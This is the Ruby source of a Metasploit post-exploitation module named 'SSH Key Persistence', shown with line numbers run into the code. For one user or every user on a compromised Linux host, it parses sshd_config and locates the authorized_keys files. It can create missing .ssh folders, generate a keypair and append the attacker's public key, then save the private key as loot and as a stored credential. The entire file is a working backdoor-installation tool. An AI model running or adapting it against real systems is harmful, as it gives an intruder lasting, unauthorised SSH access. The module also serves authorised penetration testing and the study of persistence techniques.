Path: blob/master/modules/post/linux/manage/sshkey_persistence.rb
19778 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45require 'sshkey'67class MetasploitModule < Msf::Post8Rank = ExcellentRanking910include Msf::Post::File11include Msf::Post::Unix1213def initialize(info = {})14super(15update_info(16info,17'Name' => 'SSH Key Persistence',18'Description' => %q{19This module will add an SSH key to a specified user (or all), to allow20remote login via SSH at any time.21},22'License' => MSF_LICENSE,23'Author' => [24'h00die <[email protected]>'25],26'Platform' => [ 'linux' ],27'SessionTypes' => [ 'meterpreter', 'shell' ],28'Notes' => {29'Stability' => [CRASH_SAFE],30'Reliability' => [],31'SideEffects' => [ARTIFACTS_ON_DISK]32},33'Compat' => {34'Meterpreter' => {35'Commands' => %w[36stdapi_fs_separator37]38}39}40)41)4243register_options([44OptString.new('USERNAME', [false, 'User to add SSH key to (Default: all users on box)' ]),45OptPath.new('PUBKEY', [false, 'Public Key File to use. (Default: Create a new one)' ]),46OptString.new('SSHD_CONFIG', [true, 'sshd_config file', '/etc/ssh/sshd_config' ]),47OptBool.new('CREATESSHFOLDER', [true, 'If no .ssh folder is found, create it for a user', false ])48])49end5051def run52if session.type == 'meterpreter'53sep = session.fs.file.separator54else55# Guess, but it's probably right56sep = '/'57end58print_status('Checking SSH Permissions')59sshd_config = read_file(datastore['SSHD_CONFIG'])60/^PubkeyAuthentication\s+(?<pub_key>yes|no)/ =~ sshd_config61if pub_key && pub_key == 'no'62print_error('Pubkey Authentication disabled')63elsif pub_key64vprint_good("Pubkey set to #{pub_key}")65end66%r{^AuthorizedKeysFile\s+(?<auth_key_file>[\w%/.]+)} =~ sshd_config67if auth_key_file68auth_key_file = auth_key_file.gsub('%h', '')69auth_key_file = auth_key_file.gsub('%%', '%')70if auth_key_file.start_with? '/'71auth_key_file = auth_key_file[1..]72end73else74auth_key_file = '.ssh/authorized_keys'75end76print_status("Authorized Keys File: #{auth_key_file}")7778auth_key_folder = auth_key_file.split('/')[0...-1].join('/')79auth_key_file = auth_key_file.split('/')[-1]80if datastore['USERNAME'].nil?81print_status("Finding #{auth_key_folder} directories")82paths = enum_user_directories.map { |d| d + "/#{auth_key_folder}" }83else84if datastore['USERNAME'] == 'root'85paths = ["/#{datastore['USERNAME']}/#{auth_key_folder}"]86else87paths = ["/home/#{datastore['USERNAME']}/#{auth_key_folder}"]88end89vprint_status("Added User SSH Path: #{paths.first}")90end9192if datastore['CREATESSHFOLDER'] == true93vprint_status("Attempting to create ssh folders that don't exist")94paths.each do |p|95unless directory?(p)96print_status("Creating #{p} folder")97cmd_exec("mkdir -m 700 -p #{p}")98end99end100end101102paths = paths.select { |d| directory?(d) }103if paths.nil? || paths.empty?104print_error("No users found with a #{auth_key_folder} directory")105return106end107write_key(paths, auth_key_file, sep)108end109110def write_key(paths, auth_key_file, sep)111if datastore['PUBKEY'].nil?112key = SSHKey.generate113our_pub_key = key.ssh_public_key114loot_path = store_loot('id_rsa', 'text/plain', session, key.private_key, 'ssh_id_rsa', 'OpenSSH Private Key File')115print_good("Storing new private key as #{loot_path}")116else117our_pub_key = ::File.read(datastore['PUBKEY'])118end119paths.each do |path|120path.chomp!121authorized_keys = "#{path}/#{auth_key_file}"122print_status("Adding key to #{authorized_keys}")123append_file(authorized_keys, "\n#{our_pub_key}")124print_good('Key Added')125next unless datastore['PUBKEY'].nil?126127path_array = path.split(sep)128path_array.pop129user = path_array.pop130credential_data = {131origin_type: :session,132session_id: session_db_id,133post_reference_name: refname,134private_type: :ssh_key,135private_data: key.private_key.to_s,136username: user,137workspace_id: myworkspace_id138}139140create_credential(credential_data)141end142end143end144145146